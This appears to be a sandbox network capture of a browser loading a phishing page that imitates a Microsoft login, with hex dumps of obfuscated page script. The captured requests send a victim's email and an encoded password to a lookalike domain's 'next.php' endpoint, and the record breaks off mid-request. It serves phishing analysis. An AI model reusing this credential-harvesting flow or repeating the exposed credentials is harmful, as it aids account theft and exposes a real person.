2025-01-14 14:24:09 UTC	16384	IN	Data Raw: 5c 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 Data Ascii: \x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20
2025-01-14 14:24:09 UTC	8168	IN	Data Raw: 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 Data Ascii: .25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 5c 78 32 30 6d 61 72 67 69 27 2c 27 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 Data Ascii: \x20margi','oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj'
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 32 30 61 75 74 6f 5c 78 32 30 27 2c 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a Data Ascii: 20auto\x20','\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 72 73 65 5c 78 32 30 21 69 6d 70 6f 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 Data Ascii: rse\x20!impo','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20r
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 2c 27 63 35 34 36 30 3b 5c 78 32 30 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c Data Ascii: ,'c5460;\x20bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 27 5c 78 32 30 74 72 61 6e 73 70 61 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 Data Ascii: '\x20transpare','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x2
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 32 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 Data Ascii: 20{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','b
2025-01-14 14:24:09 UTC	8184	IN	Data Raw: 74 65 27 2c 27 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 27 2c 27 72 74 5c 78 32 30 7b 5c 78 32 30 2d 6d 73 2d 66 27 2c 27 64 69 6e 61 6c 2d 67 72 6f 75 27 2c 27 73 70 6c 61 79 3a 5c 78 32 30 69 6e 6c 27 2c 27 30 70 78 29 3b 2a 2f 5c 78 32 30 70 61 27 2c 27 76 65 72 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b Data Ascii: te','position:\x20','rt\x20{\x20-ms-f','dinal-grou','splay:\x20inl','0px);*/\x20pa','vertical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49767	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:09 UTC	367	OUT	GET /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:09 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:08 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49769	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:12 UTC	789	OUT	POST /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive Content-Length: 47 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:12 UTC	47	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 6d 61 72 73 68 61 2e 72 6f 77 6c 61 6e 64 40 63 68 65 72 6f 6b 65 65 62 72 69 63 6b 2e 63 6f 6d Data Ascii: do=check&email=marsha.rowland@cherokeebrick.com
2025-01-14 14:24:12 UTC	329	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:11 GMT Server: Apache Access-Control-Allow-Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 14:24:12 UTC	245	IN	Data Raw: 65 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6c 2d 69 64 64 37 68 6e 77 36 6d 69 6b 33 70 34 31 66 77 69 73 6e 69 70 72 7a 77 71 67 67 62 66 72 6e 76 66 77 35 38 36 7a 71 67 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 3f 74 73 3d 36 33 38 33 30 38 33 36 30 33 36 35 31 31 38 34 32 38 22 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: ea{"status":"success","banner":null,"background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-l-idd7hnw6mik3p41fwisniprzwqggbfrnvfw586zqg\/logintenantbranding\/0\/illustration?ts=638308360365118428","federationLogin":"","type":"office"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49768	152.199.21.175	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:12 UTC	699	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:12 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7816753 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 14:24:12 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-14 14:24:12 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49776	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:13 UTC	367	OUT	GET /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:13 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:12 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49775	152.199.21.175	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:13 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:13 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7816754 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 14:24:13 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-14 14:24:13 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49778	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:23 UTC	789	OUT	POST /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive Content-Length: 72 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:23 UTC	72	OUT	Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 6d 61 72 73 68 61 2e 72 6f 77 6c 61 6e 64 40 63 68 65 72 6f 6b 65 65 62 72 69 63 6b 2e 63 6f 6d 26 70 61 73 73 3d 4e 6b 35 4a 65 45 6f 73 59 53 45 75 65 55 74 49 62 45 67 3d Data Ascii: do=login&user=marsha.rowland@cherokeebrick.com&pass=Nk5JeEosYSEueUtIbEg=
2025-01-14 14:24:27 UTC	329	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:23 GMT Server: Apache Access-Control-Allow-Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 14:24:27 UTC	79	IN	Data Raw: 34 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 69 6e 63 6f 72 72 65 63 74 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 44{"status":"error","message":"Your account or password is incorrect"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49779	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:27 UTC	367	OUT	GET /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:27 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:27 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49781	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:35 UTC	789	OUT	POST /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive Content-Length: 52 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, 